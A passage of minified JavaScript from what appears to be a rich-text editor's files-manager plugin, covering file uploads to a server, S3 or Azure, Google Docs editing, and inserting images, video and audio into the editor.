a=0;k.set(e,t),k.forEach(function(e,t){a+=e}),a/=k.size,100==t&&i&&r++,n.find('.fr-command[data-cmd="filesUpload"]').addClass("fr-disabled"),n.find('.fr-command[data-cmd="filesByURL"]').addClass("fr-disabled"),n.find('.fr-command[data-cmd="filesEmbed"]').addClass("fr-disabled"),n.find(".fr-progress-bar").get(0).style.width=a+"%",r==k.size&&(n.find(".fr-progress-bar").removeClass("fr-display-block").addClass("fr-none"),k=new Map,r=0,n.find('.fr-command[data-cmd="filesUpload"]').removeClass("fr-disabled"),n.find('.fr-command[data-cmd="filesByURL"]').removeClass("fr-disabled"),n.find('.fr-command[data-cmd="filesEmbed"]').removeClass("fr-disabled"))}function Me(i,n){Q(),L.popups.get("filesManager.insert").find(".fr-upload-progress-layer").addClass("fr-active"),i.forEach(function(e,t){Ue(Le(e))&&L.opts.imageUploadRemoteUrls&&L.opts.imageCORSProxy&&L.opts.imageUpload?Be(e,i,x,n[t]):B.set(n[t],e)})}function Ee(e){e&&e.get&&function i(e){if("false"==S(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(e&&"touchend"==e.type&&fe)return!0;if(e&&L.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;for(var t=0;t<It.INSTANCES.length;t++)It.INSTANCES[t]!=L&&It.INSTANCES[t].events.trigger("image.hideResizer");L.toolbar.disable(),e&&(e.stopPropagation(),e.preventDefault());L.helpers.isMobile()&&(L.events.disableBlur(),L.$el.blur(),L.events.enableBlur());L.opts.iframe&&L.size.syncIframe();x=S(this),N(),L.browser.msie?(L.popups.areVisible()&&L.events.disableBlur(),L.win.getSelection&&(L.win.getSelection().removeAllRanges(),L.win.getSelection().addRange(L.doc.createRange()))):L.selection.clear();L.helpers.isIOS()&&(L.events.disableBlur(),L.$el.blur());L.button.bulkRefresh(),L.events.trigger("video.hideResizer")}.call(e.get(0))}function ke(){var e=S(this);e.removeClass("fr-uploading"),e.next().is("br")&&e.next().remove(),(0==a.length||0<a.length&&a.length==g)&&(c=e),"VIDEO"==e.get(0).tagName||"AUDIO"==e.get(0).tagName?L.selection.setAfter(e.parent()):L.selection.setAfter(e),L.undo.saveStep(),L.events.trigger("filesManager.loaded",[e]),Ce(a)}function Ae(){var e,t=Array.prototype.slice.call(L.el.querySelectorAll("video, .fr-video > *")),i=[];for(e=0;e<t.length;e++)i.push(t[e].getAttribute("src")),S(t[e]).toggleClass("fr-draggable",L.opts.videoMove),""===t[e].getAttribute("class")&&t[e].removeAttribute("class"),""===t[e].getAttribute("style")&&t[e].removeAttribute("style");if(n)for(e=0;e<n.length;e++)i.indexOf(n[e].getAttribute("src"))<0&&L.events.trigger("video.removed",[S(n[e])]);n=t}function Ce(e){if(null!=e){if(0==e.length)return void(null!=c&&("VIDEO"==c.get(0).tagName?L.video._editVideo(c.parent()):"IMG"==c.get(0).tagName?L.image.edit(c):c.trigger("click"),L.toolbar.disable()));_e(e.shift(),e)}}function Ie(e){var t=!1;if(Oe(Le(B.get(e))))L.trimVideoPlugin.trimVideo(T.get(e),e,T),t=!0;else if(Ue(Le(B.get(e)))){var i=B.get(e).link,n=L.o_doc.createElement("img");n.src=i,x=n,s=e,L.imageTUI.launch(L,!1,e),t=!0}else if(ze(Le(B.get(e)))){var a={apiKey:L.opts.googleOptions.API_KEY,clientId:L.opts.googleOptions.CLIENT_ID,authorizeButton:"authorize_button-".concat(e),signoutButton:"signout_button",userArea:"user_area-".concat(e),fileInput:"file_input",fileIndex:e,file:T.get(e),fileContainer:"file_container",loadingText:"File is being uploaded...",events:{onInvalidFile:function(e){},onError:function(e){}}};de=function f(p){var r,e=["https://www.googleapis.com/discovery/v1/apis/drive/v2/rest"],g="id,title,mimeType,userPermission,editable,copyable,shared,fileSize",u="-------314159265358979323846",m="\r\n--"+u+"\r\n",v="\r\n--"+u+"--",t=(document.getElementById(p.authorizeButton),document.getElementById(p.userArea));p.events||(p.events={});function i(){gapi.client.init({apiKey:p.apiKey,clientId:p.clientId,discoveryDocs:e,scope:"https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.appdata"}).then(function(){gapi.auth2.getAuthInstance().isSignedIn.listen(n),n(gapi.auth2.getAuthInstance().isSignedIn.get()),function t(e){!gapi.auth2.getAuthInstance().isSignedIn.get()||gapi.auth.getToken()!==undefined&&gapi.auth.getToken().access_token===undefined?Promise.resolve(gapi.auth2.getAuthInstance().signIn()).then(function(){s()}):s()}()},function(e){p.events.onError(e)})}function n(e){e&&(t.style.display="block")}function a(e){var t=gapi.auth.getToken().access_token,i=r,n="https://docs.google.com/feeds/download/documents/export/Export?id="+i+"&format=docx&access_token="+t,a=new XMLHttpRequest;a.open("get",n),a.responseType="arraybuffer",a.onload=function(){var e=new Blob([new Uint8Array(this.response)],{type:"application/vnd.openxmlformats-officedocument.wordprocessingml.document"}),t=T.get(p.fileIndex);e.name=t.name,e.lastModified=t.lastModified,e.lastModifiedDate=t.lastModifiedDate,T.set(p.fileIndex,e),L.filesManager.upload(e,B,x,p.fileIndex),l()},a.send()}function s(e){!function n(e){for(var t=document.getElementsByClassName("fr-doc-edit-".concat(e)),i=0;i<t.length;i++)t[i].setAttribute("disabled",!0),t[i].classList.add("fr-disabled")}(p.fileIndex);var t=p.file;t?function i(d,f){var c=new FileReader;c.readAsArrayBuffer(d),c.onload=function(e){for(var t={title:d.name,mimeType:"application/vnd.google-apps.document"},i="",n=new Uint8Array(c.result),a=n.byteLength,r=0;r<a;r++)i+=String.fromCharCode(n[r]);var s=btoa(i),o=m+"Content-Type: application/json; charset=UTF-8\r\n\r\n"+JSON.stringify(t)+m+"Content-Type: application/octet-stream\r\nContent-Transfer-Encoding: base64\r\n\r\n"+s+v,l=gapi.client.request({path:"/upload/drive/v2/files",method:"POST",params:{uploadType:"multipart",fields:g},headers:{"Content-Type":'multipart/related; boundary="'+u+'"',"Content-Length":o.Length},body:o});f||(f=function(e){}),l.execute(function(e,t){e.error?p.events.onError(e.error):f(e)})}}(t,o):p.events.onInvalidFile("File is not selected")}function o(e){r=e.id;var t="https://docs.google.com/document/d/"+e.id+"/edit",i=L.o_doc.body,n=L.o_doc.createElement("div");n.setAttribute("id","editDocContainer"),n.style.cssText="position: fixed; top: 0;left: 0;padding: 0;width: 100%;height: 100%;background: rgba(255,255,255,1);z-index: 9998;display:block",n.innerHTML='<div style="margin-top:25px; text-align:center"><label>Sign Out : </label><input type="checkbox" id ="markSignOut" role="button"/> <button id="signout_button" class="fr-trim-button" >Save </button> <button id="cancel_file_edit" class="fr-trim-button">Cancel</button></div> <iframe title="Edit your file" frameBorder="0" width="100%" height="700px" src="'+t+'"></iframe>',i.appendChild(n),document.getElementById("signout_button").onclick=a,document.getElementById("cancel_file_edit").onclick=l}function l(){document.getElementById("markSignOut").checked&&gapi.auth2.getAuthInstance().signOut().then(function(){gapi.auth.getToken()&&(gapi.auth.getToken().access_token=undefined)});var e=document.getElementById("editDocContainer");e.parentNode.removeChild(e),document.getElementById("user_area-".concat(p.fileIndex))&&(document.getElementById("user_area-".concat(p.fileIndex)).style.display="none"),function n(e){for(var t=document.getElementsByClassName("fr-doc-edit-".concat(e)),i=0;i<t.length;i++)t[i].removeAttribute("disabled"),t[i].classList.remove("fr-disabled")}(p.fileIndex)}p.events.onInvalidFile=p.events.onInvalidFile||function(e){},p.events.onError=p.events.onError||function(e){};var d={};return d.handleClientLoad=function(){gapi.load("client:auth2",i)},d}(a),function r(e,t){var n=function n(e,t){var i=document.createElement("script");i.src=e,i.onload=function(){this.onload=function(){},de.handleClientLoad()},i.onreadystatechange=function(){"complete"===this.readyState&&this.onload()},(document.getElementsByTagName("head")[0]||document.body).appendChild(i)};!function i(){0!=e.length?n(e.shift(),i):t&&t()}()}(["https://apis.google.com/js/api.js"],function(){})}t&&(p=!0)}function Le(e){var i;if(""!=e.type)return e.type;if(e.name&&e.name.endsWith(".msg"))return i="application/vnd.ms-outlook";var n=/(?:\.([^.]+))?$/.exec(e.name)[1];return[[".doc","application/msword"],[".docx","application/vnd.openxmlformats-officedocument.wordprocessingml.document"],[".gif","image/gif"],[".jpeg","image/jpeg"],[".jpg","image/jpeg"],[".txt","text/plain"],[".log","type/text"],[".mov","video/quicktime"],[".mp3","audio/mpeg"],[".mp4","video/mp4"],[".ogg","audio/ogg"],[".ogv","video/ogg"],[".pdf","application/pdf"],[".png","image/png"],[".webm","video/webm"],[".webp","image/webp"],[".wmv","video/x-ms-wmv"],[".xls","application/vnd.ms-excel"],[".xlsx","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"],[".zip","application/x-zip-compressed"]].forEach(function(e,t){e[0]==".".concat(n)&&(i=e[1])}),i}function _e(o,e){if(ze(Le(B.get(o)))||!Pe(Le(B.get(o)))){var t,i=B.get(o).link,n=B.get(o).text,a=B.get(o).data;!n&&T.get(o)&&T.get(o).name&&(n=T.get(o).name);var r=B.get(o).response;L.edit.on(),L.events.focus(!0),L.selection.restore(),L.opts.fileUseSelectedText&&L.selection.text().length&&(n=L.selection.text());var s='<a href="'.concat(i,'" target="_blank" id="fr-inserted-file" ');if(void 0!==a)for(t in a)a.hasOwnProperty(t)&&"link"!=t&&(s+="".concat(t,'="').concat(a[t],'" '));-1==s.indexOf(' class="')&&(s+='class="fr-file" '),s+=">".concat(n,"</a>"),L.html.insert(s);var l=L.$el.find("#fr-inserted-file");l.removeAttr("id"),L.undo.saveStep(),function A(){var e,t=Array.prototype.slice.call(L.el.querySelectorAll("a.fr-file")),i=[];for(e=0;e<t.length;e++)i.push(t[e].getAttribute("href"));if(le)for(e=0;e<le.length;e++)i.indexOf(le[e].getAttribute("href"))<0&&L.events.trigger("file.unlink",[le[e]]);le=t}(),L.selection.clear(),L.selection.setAfter(l),L.events.trigger("file.inserted",[l,r]),Ce(e)}if(Ue(Le(B.get(o)))&&Pe(Le(B.get(o)))){var d=B.get(o).link,f=B.get(o).sanitize,c=B.get(o).data,p=B.get(o).$existing_img,g=B.get(o).response;p&&"string"==typeof p&&(p=L.$(p)),L.edit.off(),ee(L.language.translate("Loading image")),f&&(d=L.helpers.sanitizeURL(d));var u=new Image;u.onload=function(){var e,t;if(p){L.undo.canDo()||p.hasClass("fr-uploading")||L.undo.saveStep();var i=p.data("fr-old-src");p.data("fr-image-pasted")&&(i=null),L.$wp?((e=p.clone().removeData("fr-old-src").removeClass("fr-uploading").removeAttr("data-fr-image-pasted")).off("load"),i&&p.attr("src",i),p.replaceWith(e)):e=p;for(var n=e.get(0).attributes,a=0;a<n.length;a++){var r=n[a];0===r.nodeName.indexOf("data-")&&e.removeAttr(r.nodeName)}if(void 0!==c)for(t in c)c.hasOwnProperty(t)&&"link"!=t&&e.attr("data-".concat(t),c[t]);e.on("load",ke),e.attr("src",d),L.edit.on(),L.undo.saveStep(),L.events.disableBlur(),L.$el.blur(),L.events.trigger(i?"image.replaced":"image.inserted",[e,g])}else e=function o(e,t,i){var n,a=S(document.createElement("img")).attr("src",e);if(t&&void 0!==t)for(n in t)t.hasOwnProperty(n)&&"link"!=n&&(" data-".concat(n,'="').concat(t[n],'"'),a.attr("data-".concat(n),t[n]));var r=L.opts.imageDefaultWidth;r&&"auto"!=r&&(r=L.opts.imageResizeWithPercent?"100%":"".concat(r,"px"));a.attr("style",r?"width: ".concat(r,";"):""),st(a,L.opts.imageDefaultDisplay,L.opts.imageDefaultAlign),a.on("load",i),a.on("error",i),L.edit.on(),L.events.focus(!0),L.selection.restore(),L.undo.saveStep(),L.opts.imageSplitHTML?L.markers.split():L.markers.insert();L.html.wrap();var s=L.$el.find(".fr-marker");s.length?(s.parent().is("hr")&&s.parent().after(s),L.node.isLastSibling(s)&&s.parent().hasClass("fr-deletable")&&s.insertAfter(s.parent()),s.replaceWith(a)):L.$el.append(a);return a}(d,c,ke),L.undo.saveStep(),L.events.disableBlur(),L.$el.blur(),L.events.trigger("image.inserted",[e,g])},u.onerror=function(){X(U,null,null,o),Ce(e)},u.src=d}if((Oe(Le(B.get(o)))||$e(Le(B.get(o))))&&Pe(Le(B.get(o))))if(_=o,"video/url"==Le(B.get(o))){var m=!1;if(document.getElementById("fr-file-autoplay-button-"+o)!==undefined&&(m=document.getElementById("fr-file-autoplay-button-"+o).checked),m&&B.get(o)!==undefined&&-1<B.get(o).video.indexOf("iframe")&&B.get(o).video.indexOf("autoplay=1")<0){var v=B.get(o).video.substring(B.get(o).video.indexOf("src")+3),h="&";(v=(v=v.substring(v.indexOf('"')+1)).substring(0,v.indexOf('"'))).indexOf("?")<0&&(h="?"),B.get(o).video=B.get(o).video.replace(v,v+=h+"autoplay=1&mute=1")}else!m&&B.get(o).video.indexOf(!1)&&(-1<B.get(o).video.indexOf("&autoplay=1")&&(B.get(o).video=B.get(o).video.replace("&autoplay=1","")),-1<B.get(o).video.indexOf("?autoplay=1")&&(B.get(o).video=B.get(o).video.replace("?autoplay=1","")));L.events.focus(!0),L.selection.restore(),L.html.insert('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(B.get(o).video,"</span>"),!1,L.opts.videoSplitHTML),L.popups.hide("filesManager.insert");var b=L.$el.find(".fr-jiv");b.removeClass("fr-jiv"),b.toggleClass("fr-rv",L.opts.videoResponsive),function C(e,t,i){!L.opts.htmlUntouched&&L.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(i[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==i?e.css({"float":"none"}):"left"==i?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==i?e.css({textAlign:"left"}):"right"==i?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}(b,L.opts.videoDefaultDisplay,L.opts.videoDefaultAlign),b.toggleClass("fr-draggable",L.opts.videoMove),L.events.trigger("video.inserted",[b]),ke.call(b)}else{var y=B.get(o).link,w=B.get(o).sanitize,x=B.get(o).data,M=B.get(o).$existing_img,E=B.get(o).response;L.edit.off(),w&&(y=L.helpers.sanitizeURL(y)),function I(){var e,t;if(M){L.undo.canDo()||M.find("video").hasClass("fr-uploading")||L.undo.saveStep();var i=M.find("video").data("fr-old-src"),n=M.data("fr-replaced");M.data("fr-replaced",!1),L.$wp?((e=M.clone(!0)).find("video").removeData("fr-old-src").removeClass("fr-uploading"),e.find("video").off("canplay"),i&&M.find("video").attr("src",i),M.replaceWith(e)):e=M;for(var a=e.find("video").get(0).attributes,r=0;r<a.length;r++){var s=a[r];0===s.nodeName.indexOf("data-")&&e.find("video").removeAttr(s.nodeName)}if(void 0!==x)for(t in x)x.hasOwnProperty(t)&&"link"!=t&&e.find("video").attr("data-".concat(t),x[t]);e.find("video").on("canplay",ke),e.find("video").attr("src",y),L.edit.on(),Ae(),L.undo.saveStep(),L.$el.blur(),L.events.trigger(n?"video.replaced":"video.inserted",[e,E])}else e=function g(e,t,i,n,a){var r,s="";if(t&&void 0!==t)for(r in t)t.hasOwnProperty(r)&&"link"!=r&&(s+=" data-".concat(r,'="').concat(t[r],'"'));var o,l=L.opts.videoDefaultWidth;l&&"auto"!=l&&(l="".concat(l,"px"));if($e(n))o=S(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+L.opts.videoDefaultDisplay[0]+("center"!=L.opts.videoDefaultAlign?" fr-fv"+L.opts.videoDefaultAlign[0]:"")).html('<audio src="'+e+'" '+s+" controls>"+L.language.translate("Your browser does not support HTML5 video.")+"</audio>");else{var d="",f=document.getElementById("fr-file-autoplay-button-"+a).checked;f&&(d="autoplay"),o=S(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+L.opts.videoDefaultDisplay[0]+("center"!=L.opts.videoDefaultAlign?" fr-fv"+L.opts.videoDefaultAlign[0]:"")).html('<video src="'+e+'" '+s+(l?' style="width: '+l+';" ':"")+d+" controls>"+L.language.translate("Your browser does not support HTML5 video.")+"</video>")}o.toggleClass("fr-draggable",L.opts.videoMove),L.edit.on(),L.events.focus(!0),L.selection.restore(),L.undo.saveStep(),L.opts.videoSplitHTML?L.markers.split():L.markers.insert();L.html.wrap();var c=L.$el.find(".fr-marker");L.node.isLastSibling(c)&&c.parent().hasClass("fr-deletable")&&c.insertAfter(c.parent());c.replaceWith(o);var p="";p=$e(n)?"audio":"video",o.find(p).get(0).readyState>o.find(p).get(0).HAVE_FUTURE_DATA||L.helpers.isIOS()?i.call(o.find(p).get(0)):(o.find(p).on("canplaythrough load",i),o.find(p).on("error",i));return o}(y,x,ke,Le(B.get(o)),o),Ae(),L.undo.saveStep(),L.events.trigger("video.inserted",[e,E])}()}L.popups.hide("filesManager.insert"),R["delete"](o);var k=L.popups.get("filesManager.insert");k.find("input.fr-insert-attr.fr-checkbox-file-".concat(o))[0].checked=!1,k.find(".fr-file-"+o).get(0).classList.add("fr-unchecked"),j(),document.getElementById("fr-file-autoplay-button-"+o)&&(document.getElementById("fr-file-autoplay-button-"+o).checked=!1),D=D.filter(function(e){return e!=o})}function Se(e,t){try{if(!1===L.events.trigger("filesManager.uploaded",[e],!0))return L.edit.on(),!1;var i=JSON.parse(e);return i.link?i:(X(v,e,null,t),!1)}catch(n){return X(I,e,null,t),!1}}function Te(e,t){try{var i=S(e).find("Location").text(),n=S(e).find("Key").text();return!1===L.events.trigger("filesManager.uploadedToS3",[i,n,e],!0)?(L.edit.on(),!1):i}catch(a){return X(I,e,null,t),!1}}function Be(e,t,i,n){if(-1<P.indexOf(Le(e))||!Le(e))return X(O,null,null,n),!1;if(!1===L.events.trigger("filesManager.beforeUpload",[t]))return!1;if(!(null!==L.opts.filesManagerUploadURL&&L.opts.filesManagerUploadURL!=M||L.opts.filesManagerUploadToS3||L.opts.filesManagerUploadToAzure))return function y(o,l,d){var f=new FileReader;f.onload=function(){var e=f.result;if(f.result.indexOf("svg+xml")<0){for(var t=atob(f.result.split(",")[1]),i=[],n=0;n<t.length;n++)i.push(t.charCodeAt(n));if(e=window.URL.createObjectURL(new Blob([new Uint8Array(i)],{type:Le(l)})),Ue(Le(l))){var a={link:e,sanitize:!1,data:null,$existing_img:d,response:null,type:Le(l)};B.set(o,a)}if(ze(Le(l))){var r={link:e,text:l.name,response:null,type:Le(l)};B.set(o,r)}if(Oe(Le(l))||$e(Le(l))){var s={link:e,sanitize:!1,data:null,$existing_img:d,type:Le(l)};B.set(o,s)}}},f.readAsDataURL(l)}(n,e),!1;if(Ue(Le(e))&&(e.name||(e.name=(new Date).getTime()+"."+(Le(e)||"image/jpeg").replace(/image\//g,""))),e.size>L.opts.filesManagerMaxSize)return X(z,null,null,n),!1;if(L.opts.filesManagerAllowedTypes.indexOf("*")<0&&L.opts.filesManagerAllowedTypes.indexOf(Le(e))<0)return X(O,null,null,n),!1;var a;if(function w(e){isNaN(e)||(L.popups.get("filesManager.insert").find(".fr-file-item-right-"+e).get(0).innerHTML='<div class=\'fr-file-item-action-buttons\' >\n <button type="button" id="fr-file-cancel-upload-button-'.concat(e,'" class="fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-').concat(e,' fr-file-cancel-upload-button" data-cmd="cancelUpload" data-title="Cancel" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M13.4,12l5.6,5.6L17.6,19L12,13.4L6.4,19L5,17.6l5.6-5.6L5,6.4L6.4,5l5.6,5.6L17.6,5L19,6.4L13.4,12z\'></path></svg>\n </button>\n\n <button type="button" id="fr-upload-delete-button-').concat(e,'" class="fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-').concat(e,' fr-upload-delete-button" data-cmd="deleteUpload" data-title="Delete" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z\'></path></svg>\n </button>\n\n <div class=\'progress-circle p0 fr-file-progress-circle-').concat(e,"'>\n <span class='fr-file-upload-percent-").concat(e," fr-file-upload-percent'>0%</span>\n <div class='left-half-clipper'>\n <div class='first50-bar'></div>\n <div class='value-bar'></div>\n </div>\n </div>\n </div>"),k.set(e,0))}(n),L.drag_support.formdata&&(a=L.drag_support.formdata?new FormData:null),a){var r;if(!1!==L.opts.filesManagerUploadToS3)for(r in a.append("key",L.opts.filesManagerUploadToS3.keyStart+(new Date).getTime()+"-"+(e.name||"untitled")),a.append("success_action_status","201"),a.append("X-Requested-With","xhr"),a.append("Content-Type",Le(e)),L.opts.filesManagerUploadToS3.params)L.opts.filesManagerUploadToS3.params.hasOwnProperty(r)&&a.append(r,L.opts.filesManagerUploadToS3.params[r]);for(r in L.opts.filesManagerUploadParams)L.opts.filesManagerUploadParams.hasOwnProperty(r)&&a.append(r,L.opts.filesManagerUploadParams[r]);a.append(L.opts.filesManagerUploadParam,e,e.name);var s,o,l=L.opts.filesManagerUploadURL;L.opts.filesManagerUploadToS3&&(l=L.opts.filesManagerUploadToS3.uploadURL?L.opts.filesManagerUploadToS3.uploadURL:"https://".concat(L.opts.filesManagerUploadToS3.region,".amazonaws.com/").concat(L.opts.filesManagerUploadToS3.bucket)),L.opts.filesManagerUploadToAzure&&(l=L.opts.filesManagerUploadToAzure.uploadURL?"".concat(L.opts.filesManagerUploadToAzure.uploadURL,"/").concat(e.name):encodeURI("https://".concat(L.opts.filesManagerUploadToAzure.account,".blob.core.windows.net/").concat(L.opts.filesManagerUploadToAzure.container,"/").concat(e.name)),s=l,L.opts.filesManagerUploadToAzure.SASToken&&(l+=L.opts.filesManagerUploadToAzure.SASToken),L.opts.filesManagerUploadMethod="PUT");var d=L.core.getXHR(l,L.opts.filesManagerUploadMethod);if(L.opts.filesManagerUploadToAzure){var f=(new Date).toUTCString();if(!L.opts.filesManagerUploadToAzure.SASToken&&L.opts.filesManagerUploadToAzure.accessKey){var c=L.opts.filesManagerUploadToAzure.account,p=L.opts.filesManagerUploadToAzure.container;if(L.opts.filesManagerUploadToAzure.uploadURL){var g=L.opts.filesManagerUploadToAzure.uploadURL.split("/");p=g.pop(),c=g.pop().split(".")[0]}var u="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(f,"\nx-ms-version:2019-07-07"),m=encodeURI("/"+c+"/"+p+"/"+e.name),v=L.opts.filesManagerUploadMethod+"\n\n\n"+e.size+"\n\n"+Le(e)+"\n\n\n\n\n\n\n"+u+"\n"+m,h=L.cryptoJSPlugin.cryptoJS.HmacSHA256(v,L.cryptoJSPlugin.cryptoJS.enc.Base64.parse(L.opts.filesManagerUploadToAzure.accessKey)).toString(L.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+c+":"+h;o=h,d.setRequestHeader("Authorization",b)}for(r in d.setRequestHeader("x-ms-version","2019-07-07"),d.setRequestHeader("x-ms-date",f),d.setRequestHeader("Content-Type",Le(e)),d.setRequestHeader("x-ms-blob-type","BlockBlob"),L.opts.filesManagerUploadParams)L.opts.filesManagerUploadParams.hasOwnProperty(r)&&d.setRequestHeader(r,L.opts.filesManagerUploadParams[r]);for(r in L.opts.filesManagerUploadToAzure.params)L.opts.filesManagerUploadToAzure.params.hasOwnProperty(r)&&d.setRequestHeader(r,L.opts.filesManagerUploadToAzure.params[r])}d.onload=function(){ze(Le(e))?function u(e,t,i,n,a){var r=this.status,s=this.response,o=this.responseXML,l=this.responseText;try{if(L.opts.filesManagerUploadToS3||L.opts.filesManagerUploadToAzure)if(201===r){var d;if(L.opts.filesManagerUploadToAzure){if(!1===L.events.trigger("filesManager.uploadedToAzure",[this.responseURL,a,s],!0))return L.edit.on(),!1;d=n}else d=Te(o,t);if(d){var f={link:d,text:e,response:s,type:i};B.set(t,f)}}else X(I,s||o,null,t);else if(200<=r&&r<300){var c=Se(l,t);if(c){var p={link:c.link,text:e,response:s,type:i,data:c};B.set(t,p)}}else X(C,s||l,null,t)}catch(g){X(I,s||l,null,t)}}.call(d,e.name,n,Le(e),s,o):function m(e,t,i,n,a){var r=this.status,s=this.response,o=this.responseXML,l=this.responseText;try{if(L.opts.filesManagerUploadToS3||L.opts.filesManagerUploadToAzure)if(201==r){var d;if(L.opts.filesManagerUploadToAzure){if(!1===L.events.trigger("filesManager.uploadedToAzure",[this.responseURL,a,s],!0))return L.edit.on(),!1;d=n}else d=Te(o,t);if(d){var f={link:d,sanitize:!1,data:[],$existing_img:e,response:s||o,type:i};B.set(t,f)}}else X(I,s||o,e,t);else if(200<=r&&r<300){var c=Se(l,t);if(c){var p={link:c.link,sanitize:!1,data:c,$existing_img:e,response:s||o,type:i};B.set(t,p)}}else X(C,s||l,e,t)}catch(g){X(I,s||l,e,t)}}.call(d,x,n,Le(e),s,o),A.has(n)||we(100,n,!0)},d.onerror=function(){X(I,this.response||this.responseText||this.responseXML,null,n)},d.upload.onprogress=function(e){!function i(e,t){e.lengthComputable&&we(e.loaded/e.total*100|0,t,!1)}(e,n)},d.onabort=function(e){!function i(e,t){X($,t,x,e)}(n,e)},d.send(L.opts.filesManagerUploadToAzure?e:a),E.set(n,d)}}function Re(l){L.events.$on(l,"click",".fr-upload-progress-layer",function(e){if(L.helpers.isMobile())return e.stopPropagation(),!1},!0),L.events.$on(l,"dragover dragenter",".fr-upload-progress-layer",function(e){e.preventDefault();for(var t=0;t<e.originalEvent.dataTransfer.types.length;t++)"Files"==e.originalEvent.dataTransfer.types[t]&&(e.originalEvent.dataTransfer.dropEffect="none");return!1},!0),L.events.$on(l,"dragleave dragend",".fr-upload-progress-layer",function(e){return e.preventDefault(),!1},!0),L.events.$on(l,"dragover dragenter",".fr-files-upload-layer",function(e){return S(this).addClass("fr-drop"),(L.browser.msie||L.browser.edge)&&e.preventDefault(),!1},!0),L.events.$on(l,"dragleave dragend",".fr-files-upload-layer",function(e){return S(this).removeClass("fr-drop"),(L.browser.msie||L.browser.edge)&&e.preventDefault(),!1},!0),L.events.$on(l,"click",".fr-insert-checkbox",function(e){if(this.classList.contains("fr-checkbox-disabled"))return this.children.target.disabled=!0,void(this.children.target.checked=!1);var t=parseInt(this.id.split("-").pop());R.set(t,this.children.target.checked);for(var i=l.find('.fr-command[data-cmd="insertAll"]'),n=l.find('.fr-command[data-cmd="deleteAll"]'),a=l.find('input.fr-file-insert-check[type="checkbox"]'),r=a.length,s=!0,o=0;o<r;o++)1==a[o].checked&&(s=!1);if(s?i.addClass("fr-disabled"):i.removeClass("fr-disabled"),s?n.addClass("fr-disabled"):n.removeClass("fr-disabled"),this.children.target.checked)l.find(".fr-file-"+this.id.split("-").pop()).get(0).setAttribute("draggable","true"),l.find(".fr-file-"+this.id.split("-").pop()).get(0).classList.remove("fr-unchecked");else{this.id.split("-").pop();l.find(".fr-file-"+this.id.split("-").pop()).get(0).setAttribute("draggable","false"),l.find(".fr-file-"+this.id.split("-").pop()).get(0).classList.add("fr-unchecked")}}),L.events.$on(l,"click",".fr-file-insert-button",function(e){this.classList.contains("fr-disabled")||_e(parseInt(this.id.split("-").pop()))}),L.events.$on(l,"click",".fr-file-autoplay-button",function(e){if(this.parentNode.classList.contains("fr-checkbox-disabled"))return this.disabled=!0,void(this.checked=!1);De(parseInt(this.id.split("-").pop()))}),L.events.$on(l,"click",".fr-file-edit-button",function(e){var t=parseInt(this.id.split("-").pop());l.find(".fr-file-edit-button-".concat(t)).hasClass("fr-disabled")||Ie(t)}),L.events.$on(l,"click",".fr-file-view-button",function(e){var t=parseInt(this.id.split("-").pop());l.find(".fr-file-view-button-".concat(t)).hasClass("fr-disabled")||function h(e){if(!Pe(Le(B.get(e)))){var t=B.get(e).link,i=B.get(e).link;if(T.get(e)&&T.get(e).name?i=T.get(e).name:B.get(e).text&&(i=B.get(e).text),0===t.indexOf("blob:")&&L.browser.msie&&window.navigator&&window.navigator.msSaveBlob)window.navigator.msSaveBlob(T.get(e),i);else{var n=document.createElement("a");n.href=t,n.download=i,n.click()}return!1}var a=L.popups.get("filesManager.insert");if(0<a.find(".fr-file-view-image-"+e).length)a.find(".fr-file-view-image-"+e)[0].remove();else{for(var r=a.find(".fr-file-view"),s=0;s<r.length;s++)r.get(s).remove();var o=a.find(".fr-file-view-"+e);if(Ue(Le(B.get(e)))){var l='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content">\n <div class="fr-file-view-close">×</div> \n <img src="'+B.get(e).link+"\" class ='fr-file-view-image'/>\n </div>\n </div>";o[0].innerHTML=l+o[0].innerHTML}else if(Oe(Le(B.get(e)))){var d;if(B.get(e).hasOwnProperty("video")){var f=B.get(e).video.substring(B.get(e).video.indexOf("src")+3),c=f.substring(f.indexOf('"')+1);c=c.substring(0,c.indexOf('"')),d='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <iframe width="640" height="360" src="'.concat(c+"&autoplay=1&mute=1",'" allow="autoplay" frameborder="0" class = "fr-file-view-image"></iframe>\n </div>\n </div>')}else d='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <video controls src="'+B.get(e).link+"\" class ='fr-file-view-image' autoplay></video>\n </div>\n </div>";o[0].innerHTML=d+o[0].innerHTML}else if($e(Le(B.get(e)))){var p='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <audio controls="controls" class 